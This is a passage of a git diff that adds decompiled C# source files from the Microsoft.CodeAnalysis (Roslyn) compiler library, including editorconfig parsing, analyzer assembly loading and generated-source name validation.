+1,57 @@ +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis; + +internal abstract class AbstractSyntaxHelper : ISyntaxHelper +{ + public abstract bool IsCaseSensitive { get; } + + protected abstract int AttributeListKind { get; } + + public abstract bool IsValidIdentifier(string name); + + public abstract string GetUnqualifiedIdentifierOfName(SyntaxNode name); + + public abstract bool IsAnyNamespaceBlock(SyntaxNode node); + + public abstract bool IsAttribute(SyntaxNode node); + + public abstract SyntaxNode GetNameOfAttribute(SyntaxNode node); + + public abstract bool IsAttributeList(SyntaxNode node); + + public abstract SeparatedSyntaxList GetAttributesOfAttributeList(SyntaxNode node); + + public abstract void AddAttributeTargets(SyntaxNode node, ArrayBuilder targets); + + public abstract bool IsLambdaExpression(SyntaxNode node); + + public abstract void AddAliases(GreenNode node, ArrayBuilder<(string aliasName, string symbolName)> aliases, bool global); + + public abstract void AddAliases(CompilationOptions options, ArrayBuilder<(string aliasName, string symbolName)> aliases); + + public abstract bool ContainsGlobalAliases(SyntaxNode root); + + public bool ContainsAttributeList(SyntaxNode root) + { + return ContainsAttributeList(root.Green, AttributeListKind); + } + + private static bool ContainsAttributeList(GreenNode node, int attributeListKind) + { + if (node.RawKind == attributeListKind) + { + return true; + } + int i = 0; + for (int slotCount = node.SlotCount; i < slotCount; i++) + { + GreenNode slot = node.GetSlot(i); + if (slot != null && !slot.IsToken && ContainsAttributeList(slot, attributeListKind)) + { + return true; + } + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Accessibility.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Accessibility.cs new file mode 100644 index 0000000..3e689e5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Accessibility.cs @@ -0,0 +1,15 @@ +namespace Microsoft.CodeAnalysis; + +public enum Accessibility +{ + NotApplicable = 0, + Private = 1, + ProtectedAndInternal = 2, + ProtectedAndFriend = 2, + Protected = 3, + Internal = 4, + Friend = 4, + ProtectedOrInternal = 5, + ProtectedOrFriend = 5, + Public = 6 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AdditionalSourcesCollection.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AdditionalSourcesCollection.cs new file mode 100644 index 0000000..a5776a9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AdditionalSourcesCollection.cs @@ -0,0 +1,128 @@ +using System; +using System.Collections.Immutable; +using System.Text.RegularExpressions; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal sealed class AdditionalSourcesCollection +{ + private readonly ArrayBuilder _sourcesAdded; + + private readonly string _fileExtension; + + private const StringComparison _hintNameComparison = StringComparison.OrdinalIgnoreCase; + + private static readonly StringComparer s_hintNameComparer = StringComparer.OrdinalIgnoreCase; + + private static readonly Regex s_invalidSegmentPattern = new Regex("(\\.{1,2}|/|^| )/", RegexOptions.Compiled); + + internal AdditionalSourcesCollection(string fileExtension) + { + _sourcesAdded = ArrayBuilder.GetInstance(); + _fileExtension = fileExtension; + } + + public void Add(string hintName, SourceText source) + { + if (string.IsNullOrWhiteSpace(hintName)) + { + throw new ArgumentNullException("hintName"); + } + for (int i = 0; i < hintName.Length; i++) + { + char c = hintName[i]; + if (!UnicodeCharacterUtilities.IsIdentifierPartCharacter(c) && c != '.' && c != ',' && c != '-' && c != '+' && c != '`' && c != '_' && c != ' ' && c != '(' && c != ')' && c != '[' && c != ']' && c != '{' && c != '}' && c != '/' && c != '\\') + { + throw new ArgumentException(string.Format(CodeAnalysisResources.HintNameInvalidChar, hintName, c, i), "hintName"); + } + } + hintName = hintName.Replace('\\', '/'); + Match match = s_invalidSegmentPattern.Match(hintName); + if (match != null && match.Success) + { + throw new ArgumentException(string.Format(CodeAnalysisResources.HintNameInvalidSegment, hintName, match.Value, match.Index), "hintName"); + } + hintName = AppendExtensionIfRequired(hintName); + if (Contains(hintName)) + { + throw new ArgumentException(string.Format(CodeAnalysisResources.HintNameUniquePerGenerator, hintName), "hintName"); + } + if (source.Encoding == null) + { + throw new ArgumentException(string.Format(CodeAnalysisResources.SourceTextRequiresEncoding, hintName), "source"); + } + _sourcesAdded.Add(new GeneratedSourceText(hintName, source)); + } + + public void RemoveSource(string hintName) + { + hintName = AppendExtensionIfRequired(hintName); + for (int i = 0; i < _sourcesAdded.Count; i++) + { + if (s_hintNameComparer.Equals(_sourcesAdded[i].HintName, hintName)) + { + _sourcesAdded.RemoveAt(i); + break; + } + } + } + + public bool Contains(string hintName) + { + hintName = AppendExtensionIfRequired(hintName); + for (int i = 0; i < _sourcesAdded.Count; i++) + { + if (s_hintNameComparer.Equals(_sourcesAdded[i].HintName, hintName)) + { + return true; + } + } + return false; + } + + public void CopyTo(AdditionalSourcesCollection asc) + { + if (asc._sourcesAdded.Count == 0) + { + asc._sourcesAdded.AddRange(_sourcesAdded); + return; + } + ArrayBuilder.Enumerator enumerator = _sourcesAdded.GetEnumerator(); + while (enumerator.MoveNext()) + { + GeneratedSourceText current = enumerator.Current; + if (asc.Contains(current.HintName)) + { + throw new ArgumentException(string.Format(CodeAnalysisResources.HintNameUniquePerGenerator, current.HintName), "hintName"); + } + asc._sourcesAdded.Add(current); + } + } + + internal ImmutableArray ToImmutableAndFree() + { + return _sourcesAdded.ToImmutableAndFree(); + } + + internal ImmutableArray ToImmutable() + { + return _sourcesAdded.ToImmutable(); + } + + internal void Free() + { + _sourcesAdded.Free(); + } + + private string AppendExtensionIfRequired(string hintName) + { + if (!hintName.EndsWith(_fileExtension, StringComparison.OrdinalIgnoreCase)) + { + hintName += _fileExtension; + } + return hintName; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AdditionalText.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AdditionalText.cs new file mode 100644 index 0000000..2e3ee83 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AdditionalText.cs @@ -0,0 +1,11 @@ +using System.Threading; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis; + +public abstract class AdditionalText +{ + public abstract string Path { get; } + + public abstract SourceText? GetText(CancellationToken cancellationToken = default(CancellationToken)); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AdditionalTextComparer.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AdditionalTextComparer.cs new file mode 100644 index 0000000..8374096 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AdditionalTextComparer.cs @@ -0,0 +1,57 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.IO; +using Microsoft.CodeAnalysis.Collections; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal sealed class AdditionalTextComparer : IEqualityComparer +{ + public static readonly AdditionalTextComparer Instance = new AdditionalTextComparer(); + + public bool Equals(AdditionalText? x, AdditionalText? y) + { + if (x == y) + { + return true; + } + if (x == null || y == null) + { + return false; + } + if (!PathUtilities.Comparer.Equals(x.Path, y.Path)) + { + return false; + } + SourceText textOrNullIfBinary = GetTextOrNullIfBinary(x); + SourceText textOrNullIfBinary2 = GetTextOrNullIfBinary(y); + if (textOrNullIfBinary == null && textOrNullIfBinary2 == null) + { + return true; + } + if (textOrNullIfBinary == null || textOrNullIfBinary2 == null || textOrNullIfBinary.Length != textOrNullIfBinary2.Length) + { + return false; + } + return ByteSequenceComparer.Equals(textOrNullIfBinary.GetChecksum(), textOrNullIfBinary2.GetChecksum()); + } + + public int GetHashCode(AdditionalText obj) + { + return Hash.Combine(PathUtilities.Comparer.GetHashCode(obj.Path), ByteSequenceComparer.GetHashCode(GetTextOrNullIfBinary(obj)?.GetChecksum() ?? ImmutableArray.Empty)); + } + + private static SourceText? GetTextOrNullIfBinary(AdditionalText text) + { + try + { + return text.GetText(); + } + catch (InvalidDataException) + { + return null; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AdditionalTextFile.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AdditionalTextFile.cs new file mode 100644 index 0000000..b1d3341 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AdditionalTextFile.cs @@ -0,0 +1,47 @@ +using System; +using System.Collections.Generic; +using System.Threading; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal sealed class AdditionalTextFile : AdditionalText +{ + private readonly CommandLineSourceFile _sourceFile; + + private readonly CommonCompiler _compiler; + + private readonly Lazy _text; + + private IList _diagnostics; + + public override string Path => _sourceFile.Path; + + internal IList Diagnostics => _diagnostics; + + public AdditionalTextFile(CommandLineSourceFile sourceFile, CommonCompiler compiler) + { + if (compiler == null) + { + throw new ArgumentNullException("compiler"); + } + _sourceFile = sourceFile; + _compiler = compiler; + _diagnostics = SpecializedCollections.EmptyList(); + _text = new Lazy(ReadText); + } + + private SourceText? ReadText() + { + List diagnostics = new List(); + SourceText? result = _compiler.TryReadFileContent(_sourceFile, diagnostics); + _diagnostics = diagnostics; + return result; + } + + public override SourceText? GetText(CancellationToken cancellationToken = default(CancellationToken)) + { + return _text.Value; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AnalyzerAssemblyLoader.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AnalyzerAssemblyLoader.cs new file mode 100644 index 0000000..ae16ed3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AnalyzerAssemblyLoader.cs @@ -0,0 +1,219 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Reflection; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal abstract class AnalyzerAssemblyLoader : IAnalyzerAssemblyLoader +{ + private readonly object _guard = new object(); + + private readonly Dictionary _analyzerAssemblyInfoMap = new Dictionary(); + + private readonly Dictionary> _knownAssemblyPathsBySimpleName = new Dictionary>(StringComparer.OrdinalIgnoreCase); + + private bool _hookedAssemblyResolve; + + private Assembly Load(AssemblyName assemblyName, string assemblyOriginalPath) + { + EnsureResolvedHooked(); + return AppDomain.CurrentDomain.Load(assemblyName); + } + + private bool IsMatch(AssemblyName requestedName, AssemblyName candidateName) + { + if (candidateName.Name == requestedName.Name && candidateName.Version >= requestedName.Version) + { + return candidateName.GetPublicKeyToken().AsSpan().SequenceEqual(requestedName.GetPublicKeyToken().AsSpan()); + } + return false; + } + + internal bool IsAnalyzerDependencyPath(string fullPath) + { + lock (_guard) + { + return _analyzerAssemblyInfoMap.ContainsKey(fullPath); + } + } + + public void AddDependencyLocation(string fullPath) + { + CompilerPathUtilities.RequireAbsolutePath(fullPath, "fullPath"); + string fileName = PathUtilities.GetFileName(fullPath, includeExtension: false); + lock (_guard) + { + if (!_knownAssemblyPathsBySimpleName.TryGetValue(fileName, out ImmutableHashSet value)) + { + value = ImmutableHashSet.Create(PathUtilities.Comparer, fullPath); + _knownAssemblyPathsBySimpleName.Add(fileName, value); + } + else + { + _knownAssemblyPathsBySimpleName[fileName] = value.Add(fullPath); + } + DictionaryExtensions.TryAdd(_analyzerAssemblyInfoMap, fullPath, null); + } + } + + public Assembly LoadFromPath(string originalAnalyzerPath) + { + CompilerPathUtilities.RequireAbsolutePath(originalAnalyzerPath, "originalAnalyzerPath"); + AssemblyName item = GetAssemblyInfoForPath(originalAnalyzerPath).AssemblyName; + if (item == null) + { + throw new ArgumentException("Not a valid assembly: " + originalAnalyzerPath); + } + try + { + return Load(item, originalAnalyzerPath); + } + catch (Exception innerException) + { + throw new InvalidOperationException("Unable to load " + item.Name, innerException); + } + } + + protected (AssemblyName? AssemblyName, string RealAssemblyPath) GetAssemblyInfoForPath(string originalAnalyzerPath) + { + lock (_guard) + { + if (!_analyzerAssemblyInfoMap.TryGetValue(originalAnalyzerPath, out (AssemblyName, string)? value)) + { + throw new InvalidOperationException(); + } + if (value.HasValue) + { + return value.GetValueOrDefault(); + } + } + string text = PreparePathToLoad(originalAnalyzerPath); + AssemblyName item; + try + { + item = AssemblyName.GetAssemblyName(text); + } + catch + { + item = null; + } + lock (_guard) + { + _analyzerAssemblyInfoMap[originalAnalyzerPath] = (item, text); + } + return (AssemblyName: item, RealAssemblyPath: text); + } + + protected string? GetBestPath(AssemblyName requestedName) + { + if (requestedName.Name == null) + { + return null; + } + ImmutableHashSet value; + lock (_guard) + { + if (!_knownAssemblyPathsBySimpleName.TryGetValue(requestedName.Name, out value)) + { + return null; + } + } + string result = null; + AssemblyName assemblyName = null; + foreach (string item in ((IEnumerable)value).OrderBy((IComparer?)StringComparer.Ordinal)) + { + var (assemblyName2, text) = GetAssemblyInfoForPath(item); + if (assemblyName2 != null && IsMatch(requestedName, assemblyName2)) + { + if (assemblyName2.Version == requestedName.Version) + { + return text; + } + if (assemblyName == null || assemblyName2.Version > assemblyName.Version) + { + result = text; + assemblyName = assemblyName2; + } + } + } + return result; + } + + protected abstract string PreparePathToLoad(string fullPath); + + internal string GetRealLoadPath(string originalFullPath) + { + lock (_guard) + { + if (!_analyzerAssemblyInfoMap.TryGetValue(originalFullPath, out (AssemblyName, string)? value)) + { + throw new InvalidOperationException("Invalid original path: " + originalFullPath); + } + return (!value.HasValue) ? originalFullPath : value.GetValueOrDefault().Item2; + } + } + + internal (string OriginalAssemblyPath, string RealAssemblyPath)[] GetPathMapSnapshot() + { + lock (_guard) + { + return (from x in _analyzerAssemblyInfoMap + select (Key: x.Key, x.Value?.RealAssemblyPath ?? "") into x + orderby x.Key + select x).ToArray(); + } + } + + internal AnalyzerAssemblyLoader() + { + } + + internal bool EnsureResolvedHooked() + { + lock (_guard) + { + if (!_hookedAssemblyResolve) + { + AppDomain.CurrentDomain.AssemblyResolve += AssemblyResolve; + _hookedAssemblyResolve = true; + return true; + } + } + return false; + } + + internal bool EnsureResolvedUnhooked() + { + lock (_guard) + { + if (_hookedAssemblyResolve) + { + AppDomain.CurrentDomain.AssemblyResolve -= AssemblyResolve; + _hookedAssemblyResolve = false; + return true; + } + } + return false; + } + + private Assembly? AssemblyResolve(object sender, ResolveEventArgs args) + { + try + { + AssemblyName requestedName = new AssemblyName(args.Name); + string bestPath = GetBestPath(requestedName); + if (bestPath != null) + { + return Assembly.LoadFrom(bestPath); + } + return null; + } + catch + { + return null; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AnalyzerConfig.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AnalyzerConfig.cs new file mode 100644 index 0000000..5b96ed0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AnalyzerConfig.cs @@ -0,0 +1,574 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.IO; +using System.Text; +using System.Text.RegularExpressions; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public sealed class AnalyzerConfig +{ + internal sealed class Section + { + public static StringComparison NameComparer { get; } = StringComparison.Ordinal; + + public static IEqualityComparer NameEqualityComparer { get; } = StringComparer.Ordinal; + + public static StringComparer PropertiesKeyComparer { get; } = CaseInsensitiveComparison.Comparer; + + public string Name { get; } + + public ImmutableDictionary Properties { get; } + + public Section(string name, ImmutableDictionary properties) + { + Name = name; + Properties = properties; + } + } + + internal readonly struct SectionNameMatcher + { + private readonly ImmutableArray<(int minValue, int maxValue)> _numberRangePairs; + + internal Regex Regex { get; } + + internal SectionNameMatcher(Regex regex, ImmutableArray<(int minValue, int maxValue)> numberRangePairs) + { + Regex = regex; + _numberRangePairs = numberRangePairs; + } + + public bool IsMatch(string s) + { + if (_numberRangePairs.IsEmpty) + { + return Regex.IsMatch(s); + } + Match match = Regex.Match(s); + if (!match.Success) + { + return false; + } + for (int i = 0; i < _numberRangePairs.Length; i++) + { + var (num, num2) = _numberRangePairs[i]; + if (!int.TryParse(match.Groups[i + 1].Value, out var result) || result < num || result > num2) + { + return false; + } + } + return true; + } + } + + private struct SectionNameLexer + { + private readonly string _sectionName; + + public int Position { get; set; } + + public bool IsDone => Position >= _sectionName.Length; + + public char CurrentCharacter => _sectionName[Position]; + + public char this[int position] => _sectionName[position]; + + public SectionNameLexer(string sectionName) + { + _sectionName = sectionName; + Position = 0; + } + + public TokenKind Lex() + { + _ = Position; + switch (_sectionName[Position]) + { + case '*': + { + int num = Position + 1; + if (num < _sectionName.Length && _sectionName[num] == '*') + { + Position += 2; + return TokenKind.StarStar; + } + Position++; + return TokenKind.Star; + } + case '?': + Position++; + return TokenKind.Question; + case '{': + Position++; + return TokenKind.OpenCurly; + case ',': + Position++; + return TokenKind.Comma; + case '}': + Position++; + return TokenKind.CloseCurly; + case '[': + Position++; + return TokenKind.OpenBracket; + case '\\': + Position++; + if (IsDone) + { + return TokenKind.BadToken; + } + return TokenKind.SimpleCharacter; + default: + return TokenKind.SimpleCharacter; + } + } + + public char EatCurrentCharacter() + { + return _sectionName[Position++]; + } + + public bool TryEatCurrentCharacter(out char nextChar) + { + if (IsDone) + { + nextChar = '\0'; + return false; + } + nextChar = EatCurrentCharacter(); + return true; + } + + public string? TryLexNumber() + { + bool flag = true; + StringBuilder stringBuilder = new StringBuilder(); + while (!IsDone) + { + char currentCharacter = CurrentCharacter; + if (flag && currentCharacter == '-') + { + Position++; + stringBuilder.Append('-'); + } + else + { + if (!char.IsDigit(currentCharacter)) + { + break; + } + Position++; + stringBuilder.Append(currentCharacter); + } + flag = false; + } + string text = stringBuilder.ToString(); + if (text.Length != 0 && !(text == "-")) + { + return text; + } + return null; + } + } + + private enum TokenKind + { + BadToken, + SimpleCharacter, + Star, + StarStar, + Question, + OpenCurly, + CloseCurly, + Comma, + DoubleDot, + OpenBracket + } + + private static readonly Regex s_sectionMatcher = new Regex("^\\s*\\[(([^#;]|\\\\#|\\\\;)+)\\]\\s*([#;].*)?$", RegexOptions.Compiled); + + private static readonly Regex s_propertyMatcher = new Regex("^\\s*([\\w\\.\\-_]+)\\s*[=:]\\s*(.*?)\\s*([#;].*)?$", RegexOptions.Compiled); + + internal const string GlobalKey = "is_global"; + + internal const string GlobalLevelKey = "global_level"; + + internal const string UserGlobalConfigName = ".globalconfig"; + + private readonly bool _hasGlobalFileName; + + internal static ImmutableHashSet ReservedKeys { get; } = ImmutableHashSet.CreateRange(Section.PropertiesKeyComparer, new string[8] { "root", "indent_style", "indent_size", "tab_width", "end_of_line", "charset", "trim_trailing_whitespace", "insert_final_newline" }); + + internal static ImmutableHashSet ReservedValues { get; } = ImmutableHashSet.CreateRange(CaseInsensitiveComparison.Comparer, new string[1] { "unset" }); + + internal Section GlobalSection { get; } + + internal string NormalizedDirectory { get; } + + internal string PathToFile { get; } + + internal static Comparer DirectoryLengthComparer { get; } = Comparer.Create((AnalyzerConfig e1, AnalyzerConfig e2) => e1.NormalizedDirectory.Length.CompareTo(e2.NormalizedDirectory.Length)); + + internal ImmutableArray
NamedSections { get; } + + internal bool IsRoot + { + get + { + if (GlobalSection.Properties.TryGetValue("root", out string value)) + { + return value == "true"; + } + return false; + } + } + + internal bool IsGlobal + { + get + { + if (!_hasGlobalFileName) + { + return GlobalSection.Properties.ContainsKey("is_global"); + } + return true; + } + } + + internal int GlobalLevel + { + get + { + if (GlobalSection.Properties.TryGetValue("global_level", out string value) && int.TryParse(value, out var result)) + { + return result; + } + if (_hasGlobalFileName) + { + return 100; + } + return 0; + } + } + + private AnalyzerConfig(Section globalSection, ImmutableArray
namedSections, string pathToFile) + { + GlobalSection = globalSection; + NamedSections = namedSections; + PathToFile = pathToFile; + _hasGlobalFileName = Path.GetFileName(pathToFile).Equals(".globalconfig", StringComparison.OrdinalIgnoreCase); + string p = Path.GetDirectoryName(pathToFile) ?? pathToFile; + NormalizedDirectory = PathUtilities.NormalizeWithForwardSlash(p); + } + + public static AnalyzerConfig Parse(string text, string? pathToFile) + { + return Parse(SourceText.From(text), pathToFile); + } + + public static AnalyzerConfig Parse(SourceText text, string? pathToFile) + { + if (pathToFile == null || !Path.IsPathRooted(pathToFile) || string.IsNullOrEmpty(Path.GetFileName(pathToFile))) + { + throw new ArgumentException("Must be an absolute path to an editorconfig file", "pathToFile"); + } + Section globalSection = null; + ImmutableArray
.Builder namedSectionBuilder = ImmutableArray.CreateBuilder
(); + ImmutableDictionary.Builder activeSectionProperties = ImmutableDictionary.CreateBuilder(Section.PropertiesKeyComparer); + string activeSectionName = ""; + foreach (TextLine line in text.Lines) + { + string text2 = line.ToString(); + if (string.IsNullOrWhiteSpace(text2) || IsComment(text2)) + { + continue; + } + MatchCollection matchCollection = s_sectionMatcher.Matches(text2); + if (matchCollection.Count > 0 && matchCollection[0].Groups.Count > 0) + { + addNewSection(); + string value = matchCollection[0].Groups[1].Value; + activeSectionName = value; + activeSectionProperties = ImmutableDictionary.CreateBuilder(Section.PropertiesKeyComparer); + continue; + } + MatchCollection matchCollection2 = s_propertyMatcher.Matches(text2); + if (matchCollection2.Count > 0 && matchCollection2[0].Groups.Count > 1) + { + string value2 = matchCollection2[0].Groups[1].Value; + string text3 = matchCollection2[0].Groups[2].Value; + value2 = CaseInsensitiveComparison.ToLower(value2); + if (ReservedKeys.Contains(value2) || ReservedValues.Contains(text3)) + { + text3 = CaseInsensitiveComparison.ToLower(text3); + } + activeSectionProperties[value2] = text3 ?? ""; + } + } + addNewSection(); + return new AnalyzerConfig(globalSection, namedSectionBuilder.ToImmutable(), pathToFile); + void addNewSection() + { + Section section = new Section(activeSectionName, activeSectionProperties.ToImmutable()); + if (activeSectionName == "") + { + globalSection = section; + } + else + { + namedSectionBuilder.Add(section); + } + } + } + + private static bool IsComment(string line) + { + foreach (char c in line) + { + if (!char.IsWhiteSpace(c)) + { + if (c != '#') + { + return c == ';'; + } + return true; + } + } + return false; + } + + internal static SectionNameMatcher? TryCreateSectionNameMatcher(string sectionName) + { + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.Append('^'); + if (!sectionName.Contains("/")) + { + stringBuilder.Append(".*/"); + } + else if (sectionName[0] != '/') + { + stringBuilder.Append('/'); + } + SectionNameLexer lexer = new SectionNameLexer(sectionName); + ArrayBuilder<(int, int)> instance = ArrayBuilder<(int, int)>.GetInstance(); + if (!TryCompilePathList(ref lexer, stringBuilder, parsingChoice: false, instance)) + { + instance.Free(); + return null; + } + stringBuilder.Append('$'); + return new SectionNameMatcher(new Regex(stringBuilder.ToString(), RegexOptions.Compiled), instance.ToImmutableAndFree()); + } + + internal static string UnescapeSectionName(string sectionName) + { + StringBuilder stringBuilder = new StringBuilder(); + SectionNameLexer sectionNameLexer = new SectionNameLexer(sectionName); + while (!sectionNameLexer.IsDone) + { + TokenKind tokenKind = sectionNameLexer.Lex(); + if (tokenKind == TokenKind.SimpleCharacter) + { + stringBuilder.Append(sectionNameLexer.EatCurrentCharacter()); + continue; + } + throw ExceptionUtilities.UnexpectedValue(tokenKind); + } + return stringBuilder.ToString(); + } + + internal static bool IsAbsoluteEditorConfigPath(string sectionName) + { + SectionNameLexer sectionNameLexer = new SectionNameLexer(sectionName); + bool flag = false; + int num = 0; + while (!sectionNameLexer.IsDone) + { + if (sectionNameLexer.Lex() != TokenKind.SimpleCharacter) + { + return false; + } + char c = sectionNameLexer.EatCurrentCharacter(); + if (num == 0) + { + if (c == '/') + { + flag = true; + } + else if (Path.DirectorySeparatorChar == '/') + { + return false; + } + } + else if (!flag && Path.DirectorySeparatorChar == '\\') + { + if (num == 1 && c != ':') + { + return false; + } + if (num == 2) + { + if (c != '/') + { + return false; + } + flag = true; + } + } + num++; + } + return flag; + } + + private static bool TryCompilePathList(ref SectionNameLexer lexer, StringBuilder sb, bool parsingChoice, ArrayBuilder<(int minValue, int maxValue)> numberRangePairs) + { + while (!lexer.IsDone) + { + TokenKind tokenKind = lexer.Lex(); + switch (tokenKind) + { + case TokenKind.BadToken: + return false; + case TokenKind.SimpleCharacter: + sb.Append(Regex.Escape(lexer.EatCurrentCharacter().ToString())); + break; + case TokenKind.Question: + sb.Append('.'); + break; + case TokenKind.Star: + sb.Append("[^/]*"); + break; + case TokenKind.StarStar: + sb.Append(".*"); + break; + case TokenKind.OpenCurly: + { + lexer.Position--; + (string, string)? tuple = TryParseNumberRange(ref lexer); + if (!tuple.HasValue) + { + if (!TryCompileChoice(ref lexer, sb, numberRangePairs)) + { + return false; + } + break; + } + var (s, s2) = tuple.GetValueOrDefault(); + if (int.TryParse(s, out var result) && int.TryParse(s2, out var result2)) + { + (int, int) item = ((result < result2) ? (result, result2) : (result2, result)); + numberRangePairs.Add(item); + sb.Append("(-?[0-9]+)"); + break; + } + return false; + } + case TokenKind.CloseCurly: + return parsingChoice; + case TokenKind.Comma: + return parsingChoice; + case TokenKind.OpenBracket: + sb.Append('['); + if (!TryCompileCharacterClass(ref lexer, sb)) + { + return false; + } + break; + default: + throw ExceptionUtilities.UnexpectedValue(tokenKind); + } + } + return !parsingChoice; + } + + private static bool TryCompileCharacterClass(ref SectionNameLexer lexer, StringBuilder sb) + { + if (!lexer.IsDone && lexer.CurrentCharacter == '!') + { + sb.Append('^'); + lexer.Position++; + } + while (!lexer.IsDone) + { + char c = lexer.EatCurrentCharacter(); + switch (c) + { + case '-': + sb.Append(c); + break; + case '\\': + if (lexer.IsDone) + { + return false; + } + sb.Append('\\'); + sb.Append(lexer.EatCurrentCharacter()); + break; + case ']': + sb.Append(c); + return true; + default: + sb.Append(Regex.Escape(c.ToString())); + break; + } + } + return false; + } + + private static bool TryCompileChoice(ref SectionNameLexer lexer, StringBuilder sb, ArrayBuilder<(int, int)> numberRangePairs) + { + if (lexer.Lex() != TokenKind.OpenCurly) + { + return false; + } + sb.Append("(?:"); + while (TryCompilePathList(ref lexer, sb, parsingChoice: true, numberRangePairs)) + { + char c = lexer[lexer.Position - 1]; + switch (c) + { + case ',': + break; + case '}': + sb.Append(")"); + return true; + default: + throw ExceptionUtilities.UnexpectedValue(c); + } + sb.Append("|"); + } + return false; + } + + private static (string numStart, string numEnd)? TryParseNumberRange(ref SectionNameLexer lexer) + { + int position = lexer.Position; + if (lexer.Lex() != TokenKind.OpenCurly) + { + lexer.Position = position; + return null; + } + string text = lexer.TryLexNumber(); + if (text == null) + { + lexer.Position = position; + return null; + } + if (!lexer.TryEatCurrentCharacter(out var nextChar) || nextChar != '.' || !lexer.TryEatCurrentCharacter(out nextChar) || nextChar != '.') + { + lexer.Position = position; + return null; + } + string text2 = lexer.TryLexNumber(); + if (text2 == null || lexer.IsDone || lexer.Lex() != TokenKind.CloseCurly) + { + lexer.Position = position; + return null; + } + return (text, text2); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AnalyzerConfigOptionsResult.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AnalyzerConfigOptionsResult.cs new file mode 100644 index 0000000..2b5d63c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AnalyzerConfigOptionsResult.cs @@ -0,0 +1,19 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +public readonly struct AnalyzerConfigOptionsResult +{ + public ImmutableDictionary TreeOptions { get; } + + public ImmutableDictionary AnalyzerOptions { get; } + + public ImmutableArray Diagnostics { get; } + + internal AnalyzerConfigOptionsResult(ImmutableDictionary treeOptions, ImmutableDictionary analyzerOptions, ImmutableArray diagnostics) + { + TreeOptions = treeOptions; + AnalyzerOptions = analyzerOptions; + Diagnostics = diagnostics; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AnalyzerConfigSet.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AnalyzerConfigSet.cs new file mode 100644 index 0000000..a65b786 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AnalyzerConfigSet.cs @@ -0,0 +1,484 @@ +using System; +using System.Collections; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Runtime.CompilerServices; +using System.Threading; +using Microsoft.CodeAnalysis.Diagnostics; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public sealed class AnalyzerConfigSet +{ + private sealed class SequenceEqualComparer : IEqualityComparer> + { + public static SequenceEqualComparer Instance { get; } = new SequenceEqualComparer(); + + public bool Equals(List? x, List? y) + { + if (x == null || y == null) + { + if (x == null) + { + return y == null; + } + return false; + } + if (x.Count != y.Count) + { + return false; + } + for (int i = 0; i < x.Count; i++) + { + if (x[i] != y[i]) + { + return false; + } + } + return true; + } + + public int GetHashCode(List obj) + { + return Hash.CombineValues(obj); + } + } + + internal struct GlobalAnalyzerConfigBuilder + { + private ImmutableDictionary.Builder>.Builder? _values; + + private ImmutableDictionary configPaths)>.Builder>.Builder? _duplicates; + + internal const string GlobalConfigPath = ""; + + internal const string GlobalSectionName = "Global Section"; + + internal void MergeIntoGlobalConfig(AnalyzerConfig config, DiagnosticBag diagnostics) + { + if (_values == null) + { + _values = 